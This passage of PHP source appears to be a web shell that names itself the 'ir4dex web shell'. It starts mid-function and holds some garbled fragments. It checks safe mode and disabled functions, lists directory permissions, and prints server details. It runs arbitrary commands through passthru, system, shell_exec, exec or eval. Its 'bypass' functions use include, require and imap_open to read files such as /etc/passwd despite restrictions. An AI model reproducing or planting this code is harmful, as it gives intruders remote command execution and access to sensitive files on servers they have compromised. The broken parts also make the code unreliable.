- y0u are r00t";}
}
}
function safemode_test()
{
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
{echo "ON :(";}
else
{echo "OFF :)";}
}
function perms($mode)
{
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
if (!@function_exists("view_size"))
{
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
}
function wndir()
{
if(is_dir($dosya))
{
$dmod="d";
} else {$dmod="-";}
if(is_writable($dosya))
{
$wmod="w";
} else {$wmod="-";}
if(is_readable($dosya))
{
$rmod="r";
} else {$rmod="-";}
if(is_executable($dosya))
{
$emod="x";
} else {$emod="-";}
$dir[]="$dmod"."$rmod"."$wmod"."$emod"."$rmod"."$wmod"."$emod"." $dosya";
}
function scanned_dir($gel){
if(empty($gel))
{$gel=".";}
$git=@opendir($gel);
while($dosya=@readdir($git))
{
if(perms(@fileperms($dosya)))
{$dir[]=perms(@fileperms($dosya))." $dosya";}
else
{wndir();}
}
foreach ($dir as $list)
{echo "$list\n";}
@closedir($git);
}
function cmd_test($cmd)
{
if(function_exists("passthru"))
{passthru($cmd);}
elseif(function_exists("system"))
{@system($cmd);}
elseif(function_exists("system_exec"))
{@system_exec($cmd);}
elseif(function_exists("shell_exec"))
{@shell_exec($cmd);}
elseif(function_exists("exec"))
{@exec($cmd);}
elseif(function_exists("eval"))
{eval($cmd);}
return $cmd;
}
// Bypass Functions - priv8 priv8 priv8
function bypass1($gel1)
{include ("$gel1");}
function bypass2($gel1)
{require ("$gel1");}
function bypass3($gel1)
{
$cmdz=@imap_open($gel1, "", "");
$pwr=@imap_body($cmdz, 1);
echo $pwr;
@imap_close($cmdz);
}
function bypass4($gel1)
{
$cmdz=@imap_open('/etc/passwd', "", "");
$dirl=@imap_list($cmdz,trim($gel1),"*");
for ($i = 0; $iPHP INFO:
";phpinfo();die("[back]");}
/* Face of the ir4dex web shell */
echo "$title";
echo "$title
\n";
echo "priv8 - priv8 - priv8 !
\ncoded by canberX for IR4DEX
\n";
echo "brazillian h4x0r's ruLz
\n";
echo "/s irc.gigachat.net #ir4dex
\n";
echo "
\n";
echo "Server Infos:
";
echo "safe mode: ";
safemode_test();
echo "
\n";
echo "server uname: ".php_uname()."
\n";
echo "user: ";
user_sys();
echo "
\n";
echo "currentdir: $current
\n";
echo "freespace: ".view_size($freedisk)."
\n";
echo "totalspace: ".view_size($totaldisk)."
\n";
echo "server system: $server_sys
\n";
echo "disabled funcs: $disable_func
\n";
echo "server addr: $addr
\n";
echo "y0u are: ".$_SERVER['PHP_SELF']."
\n";
echo "eval menu:";
echo "- [phpinfo] -\n";
echo "[bypass] -
\n";
echo "\n";
echo "\n";
echo "
\n";
echo "
\n";
echo "\n";
echo "\n";
echo "
Extra Funcs:
\n\n";
echo "
\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "
$title";
?>